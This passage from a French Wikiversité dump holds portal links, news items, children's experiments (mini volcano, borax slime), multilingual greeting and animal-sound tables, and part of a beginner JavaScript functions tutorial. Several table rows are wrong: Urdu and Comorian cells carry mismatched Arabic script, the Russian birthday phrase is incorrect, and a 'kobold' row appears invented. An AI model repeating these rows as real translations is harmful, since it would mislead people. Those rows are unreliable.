[[Judaïsme]]&nbsp;- [[Mythologie]]&nbsp;- [[Paganisme]]&nbsp;- [[Secte]]&nbsp;- [[Sikhisme]]&nbsp;- [[Taoïsme]]&nbsp;- [[Théologie]] - [[Wikiversité:Sciences parallèles|Sciences parallèles]] <!----------------------------------------------> |} |&nbsp;&nbsp; | {|width="100%" cellspacing="0" cellpadding="5" |[[Image:Nuvola_apps_browser.png|40px|center]] |style="font-size:95%"|'''[[w:Atlas (géographie)|Atlas]] de la [[w:Terre|Terre]]'''<br /> [[Climatologie]]&nbsp;- [[/Écologie|Écologie]]&nbsp;- [[/Géographie|Géographie]]&nbsp;- [[Géologie]]&nbsp;- [[Géopolitique]]&nbsp;- [[/Eau|Hydrologie]]&nbsp;- [[Météorologie]]&nbsp;- [[/Maritime|Monde&nbsp;maritime]]&nbsp;- [[/Montagne|Montagne]]&nbsp;- [[Liste des pays du monde|Pays&nbsp;du&nbsp;monde]]&nbsp;- [[Toponymie]] <!----------------------------------------------> |- <!----------------------------------------------> |[[Image:Nuvola_apps_kdmconfig.png|40px|center]] |style="font-size:95%;border-top:1px dashed #AAAAAA"|'''[[w:Sciences humaines|Sciences humaines]] & [[w:Sciences sociales|sociales]]'''<br /> [[Anthropologie]]&nbsp;- [[/Archéologia|Archéologie]]&nbsp;- [[Wikiversité:Faculté de droit|Droit]]&nbsp;- [[/Économie|Économie]]&nbsp;- [[Généalogie]]&nbsp;- [[Wikiversité:Histoire|Histoire]]&nbsp;- [[Wikiversité:Linguistique|Linguistique]]&nbsp;- [[/Philosophie|Philosophie]]&nbsp;- [[Psychologie]]&nbsp;- [[Sciences cognitives|Sciences cognitives]]&nbsp;- [[/Sociologie|Sociologie]] <!----------------------------------------------> |- <!----------------------------------------------> |[[Image:Nuvola_apps_kalzium.png|40px|]] |style="font-size:95%;border-top:1px dashed #AAAAAA"|'''[[w:Science|Sciences exactes]] & [[w:Sciences naturelles|naturelles]]'''<br /> [[# Faculté d'Astronomie|Astronomie]]&nbsp;- [[/Biologie|Biologie]]&nbsp;- [[/Botanique|Botanique]]&nbsp;- [[Wikiversité:Faculté de Chimie|Chimie]]&nbsp;-[[/Médecine|Médecine]]&nbsp;- [[Logique]]&nbsp;- [[Wikiversité:Faculté de Mathématiques|Mathématiques]]&nbsp;- [[Paléontologie]]&nbsp;- [[Pharmacie]]&nbsp;- [[Wikiversité:Faculté de mécanique|Mécanique]]&nbsp;- [[Wikiversité:Faculté de Physique|Physique]]&nbsp;- [[Wikiversité:Faculté de Géologie|Géologie]]&nbsp;- [[Faculté de Géophysique|Géophysique]] <!----------------------------------------------> |- <!----------------------------------------------> |[[Image:Nuvola apps display.png|40px|center]] |style="font-size:95%;border-top:1px dashed #AAAAAA"|'''[[w:Technologie|Technologie]]s & [[w:Applications de la science|sciences appliquées]]'''<br /> [[Aérospatiale]]&nbsp;- [[/Agropédia|Agronomie]]&nbsp;- [[/Cryptologie|Cryptologie]]&nbsp;- [[Cybernétique]]&nbsp;- [[/Électricité et Électronique|Électricité et Électronique]]&nbsp;- [[/Énergie|Énergie]]&nbsp;- [[Wikiversité:Département de Génie des Procédés|Génie des procédés]] - [[Wikiversité:Département informatique|Informatique]]&nbsp;- [[Ingénierie]]&nbsp;- [[Internet]]&nbsp;- [[Robotique]]&nbsp;- [[/Sciences de l'information et des bibliothèques|Sciences&nbsp;de&nbsp;l’information et des&nbsp;bibliothèques]]&nbsp;- [[Télécommunications]] <center> Wikiversité/Lumière sur 6665 35747 2006-03-04T06:09:59Z Hégésippe Cormier 268 /* Lumière sur */ typo : "faites" ne prend pas d'accent circonflexe, à la différence du substantif "faîte" ==Lumière sur== Le [[Wikiversité:Département informatique|département informatique]] proposera comme premier diplôme la [[Wikilicence_informatique|''wikilicence'' d'informatique]]. Son obtention nécessite trois années d'études à temps plein. Le département informatique recense actuellement des ressources existantes mais devant être revues, complétées ou étoffées pour être adaptées au concept de [[wikiversité]]. Le département recherche également des enseignants suceptibles d'offrir librement des supports de cours ou d'exercices libres de droit. Faites connaître le département autour de vous. Wikiversité/Nouveautés 6666 42052 2006-05-12T11:08:45Z 213.41.1.222 /* Nouveautés */ ==Nouveautés== [[image:Math lecture at TKK.JPG|150px|right|Professeur prodigant ses cours dans une université classique]] ===À propos de la Wikiversité=== * [[Wikiversité:Wikiversité]] ''La page projet permettant de structurer la wikiversité'' (en cours) * [[Wikiversité:Créer un nouveau département]] (à remodeler) ===Les annonces=== *[[Programmation C++ (débutant)|Un cours sur le langage C++]] *[[Programmation_Java|Un cours sur le langage Java ]] *[[Wikiversité:Faculté_de_chimie#Bienvenue|Ecole de Chimie]] en construction, recherche chimistes dans tous les domaines pour grandir. ===Les livres=== *[[Programmation_PHP|Un cours sur le langage PHP]] *[[programmation JavaScript|Sommaire wikibook JavaScript]] Activités pour enfants / Mini volcan 6667 29839 2006-01-22T14:04:02Z Sand 850 création page ==Première expérience== Pour fabriquer un mini volcan, il faut : * une assiette ; * de la pâte à modeler ; * du colorant alimentaire rouge ; * du vinaigre ; * du bicarbonnate de sodium ou de la levure chimique. ---- Fabriquer un mini volcan avec la pâte à modeler en le plaçant dans l'assiette. Verser un peu de bicarbonate de sodium dans le mini volcan, sans le remplir et y ajouter une ou deux gouttes de colorant alimentaire. Déposer quelques gouttes de vinaigre sur le tout et attendre l'éruption avec la lave bouillonnante rouge. ==Deuxième expérience== Pour fabriquer un mini volcan, il faut : * une assiette ; * de la farine ; * du colorant alimentaire rouge ; * du jus de citron ; * du bicarbonnate de sodium. ---- Fabriquer un mini volcan en creusant la farine en forme de cratère dans l'assiette. Verser un peu de bicarbonate de sodium dans le mini volcan, sans le remplir et y ajouter une ou deux gouttes de colorant alimentaire. Déposer quelques gouttes de citron sur le tout et attendre l'éruption avec la lave bouillonnante rouge. <gallery> Image:Minivolcan01.jpg|étape 1 Image:Minivolcan02.jpg|étape 2 Image:Minivolcan03.jpg|étape 3 </gallery> ---- Cet article fait partie du livre [[Activités pour enfants]]. Activités pour enfants / Slime 6668 29876 2006-01-22T20:54:52Z Sand 850 correction wikilien Pour fabriquer du slime, il faut : * deux bols ; * une cuillère à café ; * une cuillière à soupe ; * du colorant alimentaire ; * de la gomme Guar (additif alimentaire E 412) ; * du [[w:borax|borax]]. ---- [[Image:Slime.jpg|thumb|résultat]] Verser sept cuillière à soupe d'eau dans le premier bol et y ajouter 1/4 de cuillière à café de gomme Guar en mélangeant doucement et régulièrement environ 1 minute puis laisser reposer. Le mélange commence à prendre un aspect gluant. Pendant ce temps, prendre le second bol, y verser une cuillière à soupe d'eau et y ajouter 1/4 de cuillière à café de borax et laisser reposer 2 à 3 minutes. Le mélange devient opaque et un dépôt solide se forme au fond. Ajouter 1/2 cuillère à café de la solution de borax (dans le second bol) à la solution présente dans le premier bol y ajouter quelques gouttes de colorant alimentaire et remuer jusqu'à ce que le mélange épaississe. Si le slime ne ''durcit'' pas et reste trop liquide : * laisser le mélange reposer ; * ajouter 1/4 de cuillère à café de la solution de borax (du second bol) et laisser reposer. ---- Cet article fait partie du livre [[Activités pour enfants]]. Dire miaou dans le monde 6669 42155 2006-05-12T18:32:38Z 82.246.228.106 '''''Transféré depuis Wikipédia''''' Dire « miaou » en : {| border="0" cellpadding="4" cellspacing="0" style="border-width: 1px; border-color: #dddddd; border-style: solid" |- bgcolor="#ddffdd" |'''langue''' |'''traduction''' |- bgcolor="#f3f5f3" |[[w:allemand|allemand]] |miau |- bgcolor="#f3fff3" |[[w:anglais|anglais]] |meow |- bgcolor="#f3f5f3" |[[w:mandarin|chinois mandarin]] |[[w:sinogramme|sinogramme]] : 喵 [[w:pinyin|pinyin]] : miao [[w:bopomofo|bopomofo]] : ㄇ一ㄠ |- bgcolor="#f3fff3" |[[w:espéranto|espéranto]] |miaŭ |- bgcolor="#f3f5f3" |[[w:français|français]] |miaou |- bgcolor="#f3fff3" |[[w:italien|italien]] |miao |- bgcolor="#f3f5f3" |[[w:néerlandais|néerlandais]] |miauw |- bgcolor="#f3fff3" |[[w:russe|russe]] |miaou (мяу) |- bgcolor="#f3f5f3" |[[w:japonais|japonais]] |nya- nya- : にゃー |} == Liens Internes == * [[Accueil/Langues]] == Liens wiki == * [[w:Chat|Chat]] * http://fr.wiktionary.org/wiki/miaou == Liens externes == * http://www.georgetown.edu/faculty/ballc/animals/cat.html [[Catégorie:Dire dans le monde|Miaou]] Dire cocorico dans le monde 6670 43400 2006-05-29T11:20:45Z 213.178.86.130 '''''Transféré depuis Wikipédia''''' Dire « cocorico » en : {| border="0" cellpadding="4" cellspacing="0" style="border-width: 1px; border-color: #dddddd; border-style: solid" |- bgcolor="#ddffdd" |'''langue''' |'''traduction''' |- bgcolor="#f3f5f3" |[[w:allemand|allemand]] |kikeriki |- bgcolor="#f3fff3" |[[w:anglais|anglais]] |cock-a-doodle-do |- bgcolor="#f3f5f3" |[[w:mandarin|chinois mandarin]] |[[w:sinogramme|sinogramme]]s : 咕咕咕 [[w:pinyin|pinyin]] : gugugu [[w:bopomofo|bopomofo]] : ㄍㄨㄍㄨㄍㄨ |- bgcolor="#f3fff3" |[[w:espagnol|espagnol]] |quiquiriquí |- bgcolor="#f3f5f3" |[[w:français|français]] |cocorico |- bgcolor="#f3fff3" |[[w:italien|italien]] |chicchirichì |- bgcolor="#f3f5f3" |[[w:néerlandais|néerlandais]] |kukuleku |- bgcolor="#f3fff3" |[[w:polonais|polonais]] |kukuryku |- bgcolor="#f3f5f3" |[[w:portugais|portugais]] |cocorocó |- bgcolor="#f3fff3" |[[w:russe|russe]] |кукареку (kukareku) |} == Liens internes == * [[Accueil/Langues]] == Liens wiki == * [[w:Coq|Coq]] == Liens externes == * [http://alain.j.schneider.free.fr/cocorico1.htm Une liste plus longue] * http://www.georgetown.edu/faculty/ballc/animals/rooster.html [[Catégorie:Dire dans le monde|Cocorico]] Dire bonjour dans le monde 6671 47141 2006-07-02T20:06:47Z Inisheer 631 +kinyarwanda Tableau présentant au travers du vocabulaire de la salutation un échantillon des [[langue]]s et des [[écriture]]s du monde. Voir aussi : [[w:Nombres dans le monde]], [[Dire merci dans le monde]], [[Dire bonne année dans le monde]], [[Dire miaou dans le monde]] , [[Dire joyeux anniversaire dans le monde]] {| border="0" cellpadding="4" cellspacing="0" style="border-width: 1px; border-color: #dddddd; border-style: solid" |- bgcolor="#ddffdd" !langue !Bonjour (matin) !Bonjour (après-midi) !Bonsoir !Bonne nuit !Salut |- bgcolor="#f3f5f3" | [[w:abénaquis|abénaquis]] | Paakuinôgwzian | | | | [[w:Kwai]] |- bgcolor="#f3fff3" | [[w:afrikaans|afrikaans]] | Goeie môre | Goeie middag | Goeie naand | Goeie nag | Hallo |- bgcolor="#f3f5f3" | [[w:albanais|albanais]] | Mirëmëngjes | Mirëdita | Mirëmbrëma | Natën e mirë | Mirëdita |- bgcolor="#f3fff3" | [[w:allemand|allemand]] | Guten Morgen | Guten Tag | Guten Abend | Gute Nacht | Hallo |- bgcolor="#f3f5f3" | [[w:anglais|anglais]] | Good morning | Good afternoon | Good evening | Good night | Hello / Hi |- bgcolor="#f3fff3" | [[w:arabe]] | Sabah el kheir<br />صَباح الخير | Sabah el kheir<br />صَباح الخير | Massa el kheir<br />مَساء الخير | Layla saida<br />لَيْلة سَعيدة | Salam<br />سَلام |- bgcolor="#f3f5f3" | [[w:bamiléké-medùmbà|bamiléké-medùmbà]] | O zi à | O yog à | O yog à | Zi mebwo | Me ca'tee |- bgcolor="#f3fff3" | [[w:basque|basque]] | Egun on | Arratsalde on | Arratsalde on | Gabon | Kaixo |- bgcolor="#f3f5f3" | [[w:berbère|berbère]] (tamazight) | Tifawin | Timeddiwin | Timeddiwin | Timensiwin | Azul<br/>ⴰⵣⵓⵍ |- bgcolor="#f3fff3" | [[w:bisaya|bisaya]] | Maayong buntag | Maayong adlaw | Maayong gabii | &nbsp; | &nbsp; |- bgcolor="#f3f5f3" | [[w:bosniaque|bosniaque]] | Dobro jutro | Dobar dan | Dobro vece | Lahku noc | Zdravo |- bgcolor="#f3fff3" | [[w:breton|breton]] | Demat / (de)boñjour (dit/deoc'h) / Mat ar jeu ? ... | Devezh mat / (de)boñjour (dit/deoc'h) / Mat ar jeu ? ... | Noz vat (dit/deoc'h) | Nozvezh vat (dit/deoc'h) | Salud (dit/deoc'h) |- bgcolor="#f3f5f3" | [[w:bulgare|bulgare]] | Добро утро (Dobro utro) | Добър ден (Dobar den) | Добър вечер (Dobar vetcher) | Лека нощ (Leka nocht) | Здравеи (Zdravei) |- bgcolor="#f3fff3" | [[w:catalan|catalan]] | Bon dia | Bona tarda | Bon vespre | Bona nit | Hola |- bgcolor="#f3f5f3" | chinois [[w:cantonais|cantonais]] | Jo san / Zan san<br />早晨 / | Néih hóu / Ngh on an san / Ng ngon <br />你好 / / | Maan ngon<br />晚安 | Jo tau / Hai | Néih hóu / Neilhou / Lay ho / Ho yat / Ngh on / Jou san<br />你好 / 您好 / / / |- bgcolor="#f3f5f3" | chinois [[w:mandarin|mandarin]]{{note2|''Nín hǎo'' est la version polie de ''ní hǎo'' et ''nǐmen hǎo'' est son pluriel.<br />Les graphies sont les mêmes pour le chinois simplifié et le chinois traditionnel, sauf pour le [[suffixe]] ''-men'' dont la graphie traditionnelle est entre parenthèses.}} | ní zǎo / zǎo ān / zǎochén hǎo / zǎoshàng hǎo<br />你早 / 早安 / 早晨好 / 早上好 | wǔ ān / xiàwǔ hǎo<br />午安 / 下午好 | wǎnshàng hǎo<br />晚上好 | wǎn ān<br />晚安 | ní hǎo / nín hǎo / nǐmen hǎo<br />你好 / 您好 / 你们好(你們好) |- bgcolor="#f3fff3" | [[w:comorien|comorien]] | Barza asubwihi<br />صَباح الخير | Barza mtsana<br />صَباح الخير | Barza uku<br />مَساء الخير | Lala unono<br />لَيْلة سَعيدة | Jeje<br />سَلام |- bgcolor="#f3f5f3" | [[w:coréen|coréen]] | Annyông haseyo<br />안녕하세요 | Annyông haseyo<br />안녕하세요 | Annyông haseyo<br />안녕하세요 | Annyông hijumuseyo<br />안녕히주무세요 | Annyông<br />안녕 |- bgcolor="#f3fff3" | [[w:Langue corse|corse]] | Bonghjornu | &nbsp; | &nbsp; | &nbsp; | Salutu |- bgcolor="#f3f5f3" | [[w:croate|croate]] | Dobro jutro | Dobar dan | Dobra vece | Laku noc | Zdravo |- bgcolor="#f3fff3" | [[w:danois|danois]] | God morgen | Goddag | God aften | God nat | &nbsp; |- bgcolor="#f3f5f3" | [[w:Édo (langue)|édo]] | Ób’ówie | Ób’ávàn | Ób’ótà | Òkhíen òwie | Kóyo |- bgcolor="#f3fff3" | [[w:espagnol|espagnol]] | Buenos días | Buenas tardes | Buenas tardes | Buenas noches | Hola |- bgcolor="#f3f5f3" | [[w:espéranto|espéranto]] | Bonan matenon | Bonan tagon | Bonan vesperon | Bonan nokton | Saluton |- bgcolor="#f3fff3" | [[w:estonien|estonien]] | Tere hommikust | Tere päevast | Tere õhtust | Head ööd | Tere |- bgcolor="#f3fff3" | [[w:finnois|finnois]] | Hyvää huomenta | Hyvää päivää | Hyvää iltaa | Hyvää yötä | Hei / Moi / Terve |- bgcolor="#f3f5f3" | [[w:gallois|gallois]] | Bore da | Prynhawn da | Noswaith da | Nos da | Hylo |- bgcolor="#f3fff3" | [[w:gilbertin|gilbertin]] | Mauri | | | |- bgcolor="#f3fff3" | [[w:grec|bred]] | Kalimera<br />Καλιμερα | Kalo mesimeri<br /> | Kalispera<br />Καλισπερα | kalinikta<br /> | Yasou<br /> |- bgcolor="#f3f5f3" | [[w:haoussa|haoussa]] | Barka da safe | Barka da yamma | Barka da yamma | Mu kwana lafiya | Sannu |- bgcolor="#f3fff3" | [[w:hébreu|hébreu]] | Boker tov<br />בוקר טוב | Shalom<br />שלום | Erev tov<br />ערב טוב | Layla tov<br />לילה טוב | &nbsp; |- bgcolor="#f3f5f3" | [[w:ourdou|ourdou]] | Subh prabhat<br />صباحك جميل | Subh din<br />يومك جميل | Subh sandhya<br />نهارك جميل | Subh ratri<br />تصبح على خير | subh din<br />نمسكار |- bgcolor="#f3fff3" | [[w:hindi|hindi]]{{note2|''Namaste'' pour une personne, ''namaskār'' pour plusieurs.}} | Namaste / Namaskār<br />नमस्ते / नमस्कार | Namaste / Namaskār<br />नमस्ते / नमस्कार | Namaste / Namaskār<br />नमस्ते / नमस्कार | Namaste / Namaskār<br />नमस्ते / नमस्कार | Namaste / Namaskār<br />नमस्ते / नमस्कार |- bgcolor="#f3f5f3" | [[w:hongrois|hongrois]] | Jó reggelt | Jó napot | Jó estét | Jó éjszakát | Szia / Sziasztok |- bgcolor="#f3fff3" | [[w:ibo|ibo]] | Ezigbo ututu (Isala chi) | Ezigbo efife (Imela efife) | Ezigbo mgbede | Ezigbo anyasi (Anyasi oma) | |- bgcolor="#f3f5f3" | [[w:indonésien|indonésien]] | Selamat pagi | Selamat siang | Selamat malam | Selamat tidur | Selamat |- bgcolor="#f3fff3" | [[w:Inuktitut]] | Ullakut | Ullukut | Unnukut | | Ai |- bgcolor="#f3f5f3" | [[w:irlandais|irlandais]] | Dia dhuit (sing.) <br /> Dia dhaoibh (plur.) | | | Oíche mhaith | Dia dhuit/dhaoibh <br /> Cén chaoi a bhfuil a tú <br /> Cad é mar atá tú? |- bgcolor="#f3fff3" | [[w:islandais|islandais]] | Góðan daginn | Góðan daginn | Gott kvöld | Góða nótt | Halló |- bgcolor="#f3f5f3" | [[w:italien|italien]] | Buongiorno | Buon pomeriggio | Buonasera | Buonanotte | Ciao |- bgcolor="#f3fff3" | [[w:japonais|japonais]] | Ohayō gozaimasu<br />おはようございます | Konnichiwa<br />今日は | Konbanwa<br />今晩は | Oyasuminasai<br />お休みなさい | ossu<br /> おっす |- bgcolor="#ffffff" | [[w:jersiais|jersiais]] (normande) | Bouônjour (à matîn) | Bouônjour | Bônsouair | Bouonne niet | |- bgcolor="#f3fff3" | [[w:kinyarwanda|kinyarwanda]] | Mwaramutse | Mwiriwe | Mwiriwe | Ijoro ryiza | Uraho |- bgcolor="#ffffff" | [[w:kobold|kobold]] | Gutemane | Gutedaga | Gutesera | Gutenoku | Saluyeme |- bgcolor="#f3f5f3" | [[w:lao|lao]] | Sabaidi | Sabaidi | Sabaidi | Sabaidi | Sabaidi |- bgcolor="#f3fff3" | [[w:lapon|lapon]] (Same) | Buorre iđit | Buorre beaivi | Buorre eahket | &nbsp; | Dearvva |- bgcolor="#f3f5f3" | [[w:letton|letton]] | &nbsp; | Labdien | Labvakar | Ar labu nakti | Sveiks |- bgcolor="#f3fff3" | [[w:lituanien|lituanien]] | Labas rytas | Laba diena | Labas vakaras | Labànakt | &nbsp; |- bgcolor="#f3f5f3" | [[w:luxembourgeois|luxembourgeois]] | Gudde Moeien | Gudde Mëttëg | Gudden Ovend | Gudd Nuecht | Salü |- bgcolor="#f3fff3" | [[w:malgache|malgache]] | Manao ahoana / Salàma | Manao ahoana / Salàma | Tafandria mandry | Tafandria mandry | Manao ahoana / Salàma |- bgcolor="#f3f5f3" | [[w:néerlandais|néerlandais]] | Goedemorgen | Goedendag | Goedenavond | Goede nacht | Hallo |- bgcolor="#f3fff3" | [[w:népalais|népalais]] | Namaste | Namaste | Namaste | Shubha Raatri | Namaskaar |- bgcolor="#f3f5f3" | [[w:normand|normand]] | Boujouo (a matin) | Boujouo (ch'te arlevaée) | Boujouo (as'sei) | Bouonne nyit | (''hochement de tête'') |- bgcolor="#f3f5f3" | [[w:norvégien|norvégien]] | God morgen | Goddag | God kveld | God natt | Hallo / Hei |- bgcolor="#f3f5f3" | [[w:novial|novial]] | Bon matine | Bon jorne | Bon vespre | Bon nokte | Saluto |- bgcolor="#f3f5f3" | [[w:occitan|occitan]]{{note2|''Adieu'' pour une personne, ''adieusiatz'' pour plusieurs personnes ou pour le voussoiement.}} | Bonjorn | Bon vèspre | Bonser | Bona nuèch | Adieu / Adieusiatz |- bgcolor="#f3fff3" | [[w:persan|persan]] | Sobh Bekheir | Rooz Bekheir | Shab Bekheir | Shab Bekheir | |- bgcolor="#f3f5f3" | [[w:picard|picard]] | Bojour | Bojour | Boin vèpes | Boinne nuit | Adé |- bgcolor="#f3f5f3" | [[w:polonais|polonais]] | Dzień dobry | Dzień dobry | Dobry wieczór | Dobranoc | Cześć |- bgcolor="#f3fff3" | [[w:portugais]] | Bom dia | Boa tarde | Boa tarde | Boa noite | Olá / Oi |- bgcolor="#f3f5f3" | [[w:romanche|romanche]] | Bun di | Buna saira | Buna saira | Buna notg | Ciao |- bgcolor="#f3fff3" | [[w:roumain|roumain]] | Bună dimineaţa | Bună ziua | Bună seara | Noapte bună | Bună / salut |- bgcolor="#f3f5f3" | [[w:russe|russe]] | Zdravstvouï / Здравствуй (tu)<br>Zdravstvouïtie / Здравствуйте<br> (prononcé [zdrastie], vous)<br>Dobroye utro<br />Доброе утро | Dobry dyen<br />Добрый день | Dobry vyecher<br />Добрый вечер | Spokojnoj nochi<br />Спокойной ночи | &nbsp;Privjet{{note2|à l'arrivée}} / Paka{{note2|au départ}}<br /> Привет / Пaka |- bgcolor="#f3fff3" | [[w:sarde|sarde]] | Bonardias | Bonu merie | Bona sera | Bona notti | Saludu |- bgcolor="#f3f5f3" | [[w:slovaque|slovaque]] | Dobré ráno | Dobrý deň | Dobrý večer | Dobrú noc | Ahoj, Čau |- bgcolor="#f3fff3" | [[w:slovène|slovène]] | Dobro jutro | Dober dan | Dober večer | Lahko noč | Živjo |- bgcolor="#f3f5f3" | [[w:suédois|suédois]] | God morgon | Goddag / God middag | God afton | God natt | Hej |- bgcolor="#f3fff3" | [[w:swahili|swahili]] | Habari ya asubuhi | Subalkheri | Masalkheri | Usiku mwema | Jambo |- bgcolor="#f3f5f3" | [[w:tamasheq|tamasheq]] | Maidjan | | | | |- bgcolor="#f3f5f3" | [[w:tagalog|tagalog]] | Magandang umaga | Magandang araw | Magandang gabi | &nbsp; | &nbsp; |- bgcolor="#f3fff3" | [[w:tchèque|tchèque]] | Dobré ráno | Dobry' den | Dobry' večer | Dobrou noc | Ahoj, Čau |- bgcolor="#f3f5f3" | [[w:thaï|thaï]] | Sawatdi khrap (pour les hommes)/kha (pour les femmes) <br> สวัสดี ครับ/คะ | Sawatdi khrap/kha <br> สวัสดี ครับ/คะ | Sawatdi khrap/kha <br> สวัสดี ครับ/คะ | Sawatdi khrap/kha <br> สวัสดี ครับ/คะ | Watdi <br> หวัดดี |- bgcolor="#f3fff3" | [[w:tibétain|tibétain]] | bKra-gshis bde legs | bKra-gshis bde legs | bKra-gshis bde legs | bKra-gshis bde legs | bde-mo |- bgcolor="#f3f5f3" | [[w:turc|turc]] | Günaydın, merhaba | Merhaba | İyi akşamlar | İyi geceler | Selam |- bgcolor="#f3fff3" | [[w:ukrainien|ukrainien]] | Dobryi ranok | Dobryi den | Dobryi vechir | &nbsp; | Pryvit |- bgcolor="#f3f5f3" |[[w:valencien|valencien]] |bon dia |bon dia |bon dia |bona nit |hola |- bgcolor="#f3fff3" | [[w:vietnamien|vietnamien]] | Chào | Chào | Chào | Chào buoi toi / Chúc ngu ngon | Chào / Chào ban |- bgcolor="#f3f5f3" | [[w:wallon|wallon]] | Bondjoû | Bondjoû | Bonswer | Bone nute | A |- bgcolor="#f3fff3" | [[w:xhosa|xshosa]]{{note2|''Molo'' pour une personne, ''molweni'' pour plusieurs.}} | Molo / Molweni | Molo / Molweni | Molo / Molweni | Rhonanai / Ulale kakuhle | Molo / Molweni |- bgcolor="#f3f5f3" | [[w:yoruba|yoruba]] | Ẹ ku arọ | Ẹ ku ọsan | Ẹ ku irọlẹ | O di arọ |- bgcolor="#f3fff3" | [[w:zoulou|zoulou]]{{note2|''Sawubona'' pour une personne, ''sanibonani'' pour plusieurs.}} | Umhlala gahle | Sawubona | Sawubona | Lala kahle / Lalani kahle | Sawubona |} == Lien interne == {{wiktionnaire|bonjour|bonjour}} * [[Accueil/Langues]] [[Catégorie:Dire dans le monde|Bonjour]] Dire joyeux anniversaire dans le monde 6672 37284 2006-03-12T17:22:58Z 62.35.51.242 Ajout espagnol Dire « Joyeux anniversaire » en : {| border="0" cellpadding="4" cellspacing="0" style="border-width: 1px; border-color: #dddddd; border-style: solid" |- bgcolor="#ddffdd" |'''langue''' |'''traduction''' |- bgcolor="#f3fff3" |[[w:allemand|allemand]] |Viel Glück zum Geburtstag |- bgcolor="#f3fff3" |[[w:anglais|anglais]] |Happy birthday |- bgcolor="#f3fff3" |[[w:arabe|arabe]] |`îd mîlâd sa`îd / عيد ميلاد سعيد |- bgcolor="#f3fff3" |[[w:berbère|berbère]] |amulli ameggaz |- bgcolor="#f3fff3" |[[w:mandarin|chinois mandarin]] |[[w:sinogramme|sinogramme]]:生日快樂 <br> [[w:pinyin|pinyin]]:shēngrì kuàilè [[w:bopomofo|bopomofo]]:ㄕㄥㄖ ㄎㄨㄞㄌㄜ |- bgcolor="#f3fff3" |[[w:castillan|espagnol]] |¡Féliz cumpleaños! |- bgcolor="#f3fff3" |[[w:espéranto|espéranto]] |Gxojan naskigxtagon! |- bgcolor="#f3fff3" |[[w:français|français]] |Joyeux anniversaire |- bgcolor="#f3fff3" |[[w:hébreu|hébreu]] |Le yôm-ha chanah / ליום־השנה |- bgcolor="#f3fff3" |[[w:italien|italien]] |Felice compleanno |- bgcolor="#f3fff3" |[[w:mongol|mongol]] |Törsön ödriïn mend khürgeie / Төрсөн өдрийн мэнд хүргэе |- bgcolor="#f3fff3" |[[w:néerlandais|néerlandais]] |Gelukkige verjaardag |- bgcolor="#f3fff3" |[[w:portugais|portugais]] |Feliz aniversário |- bgcolor="#f3fff3" |[[w:polonais|polonais]] |Szczesliwych urodzin |- bgcolor="#f3fff3" |[[w:russe|russe]] |Dobryï den’ rojdeniia / Добрый день рождения |} == Liens internes == * [[Accueil/Langues]] [[Catégorie:Dire dans le monde|Joyeux anniversaire]] Programmation JavaScript/Fonctions utilisateur 6675 31030 2006-01-31T18:02:10Z Gmarzin 1053 {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Objets prédéfinis|Objets prédéfinis >>]] ==Déclaration et identification== Dans tous les cas [[#Fonction sans identificateur|(sauf deux)]], la fonction nécessite un [[Programmation JavaScript/Identificateurs|Identificateur]] établi avec les mêmes règles que pour les [[Programmation JavaScript/Variables|variables]].<br/> Pour déclarer une fonction, on emploie la syntaxe suivante: {{Cadre code|Déclaration d'une fonction| <pre> function ma_fonction() </pre> }} C'est à dire, utilisation du [[Programmation JavaScript/Mots réservés|mot réservé>>]] '''function''' suivi de l'identificateur et de parenthèses. Ces dernières serviront à définir les parametres de la fonction. ==Fonction sans paramètres== La plupart des fonctions servent à effectuer des opérations sur des variables données en argument, mais ce n'est pas une obligation. {{Cadre code|Fonction sans paramètres| <pre> function init() { if (!navigator.cookieEnabled)... } </pre> }} ==Transmission de parametres== ===Transmission classique=== Les parametres sont transmis à la fonction entre les parenthèses de la déclaration. Comme javascript est un langage à typage dynamique, les paramètres se résument à de simples identificateurs séparés par des virgules. {{Cadre code|Transmission de paramètres (mode classique)| <pre> function display_message(s1,s2) { var result = s1 + " " + s2; alert(result); } </pre> }} ===Autre mode de paramétrage=== JavaScript offre beaucoup de souplesse dans l'envoi d'arguments à une fonction.<br/> le langage ne vous oblige pas à rédiger des fonctions au nombre d'arguments préétablis. <br/>Un mécanisme simple permet à tout moment de compter et d'accéder aux paramètres.<br/> JavaScript autorise l'appel d'une fonction en ométant les parametres. Ceci ne déclenche pas d'erreur, mais c'est une incivilité, source de bugs.<br/> La fonction, elle, peut à tout moment se rendre compte de la présence, absence, nombre et nature des parametres, et ceci à travers un tableau intégré à la fonction et nommé "'''arguments'''". {{Cadre code|Argument non-renseigné| <pre> function foo(param1) { if (arguments.length==0) alert("fonction foo : parametre manquant"); } // Appel de la fonction sans parametre: foo(); // Affiche "parametre manquant"; </pre> }} L'exemple suivant montre comment tirer partie du tableau '''arguments''' pour traiter des données dont on ne connaît pas le nombre au départ {{Cadre code|Propriété arguments (Array)| <pre> function concat_chaînes() { result = ""; for(i = 0; i < arguments.length; i++) // Pour chaque argument { result += arguments[i] + " "; // Ajouter le contenu et un espace à result } return result; // renvoyer le résultat } alert(concat_chaînes("Concaténation","de","chaînes")); // Affiche "Concaténation de chaînes" </pre> }} ==Valeur renvoyée== Avec le mot réservé '''return''', la fonction est capable de renvoyer une valeur au programme appelant. Cette valeur est contenue dans une donnée en tout point comparable à une variable typée. ===return vide=== Le mot réservé return peut s'employer sans valeur de retour, uniquement dans le but de "sortir" de la fonction. Il est possible d'utiliser plusieurs fois return dans une fonction, l'exécution sera interrompue au premier return rencontré. {{Cadre code|return multiples| <pre> function foo(p) { var resultat = ""; if (condition_1) return; // Sortie de secours else resultat = traitement(p); return resultat; // Sortie normale } </pre> }} Note : Possible, cette pratique est généralement déconseillée en algorithmie. Une fonction doit s'efforcer d'avoir une entrée et une sortie. ==Corps de la fonction== ===Variables=== La fonction peut avoir besoin de créer des variables pour mener à bien ses calculs. Dans ce cas, il est indispensable de garder en tête qu'une variable non-précédée du mot réservé '''var''' se révèle globale, et donc source de conflits. Une bonne pratique consiste à déclarer ses variables en début de fonction, même si rien ne vous y oblige. {{Cadre code|Variables locales| <pre> function foo() { var v1; var v2; } </pre> }} ===Sous-fonction=== Une fonction peut contenir des sous-fonctions qui lui sont propre et l'aide à accomplir sa tâche. {{Cadre code|Sous-fonction| <pre> function foo(n) { function bar(p) { return p*p*p; } for (var i = 0; i < n; i++) bar(i); } </pre> }} ==Appel de la fonction== Nous pouvons admettre quatre modèles de fonction : Avec ou sans paramètres, avec ou sans valeur de retour.<br/> ===Sans valeur de retour=== Sans valeur de retour, la fonction est un verbe. Il suffit de la 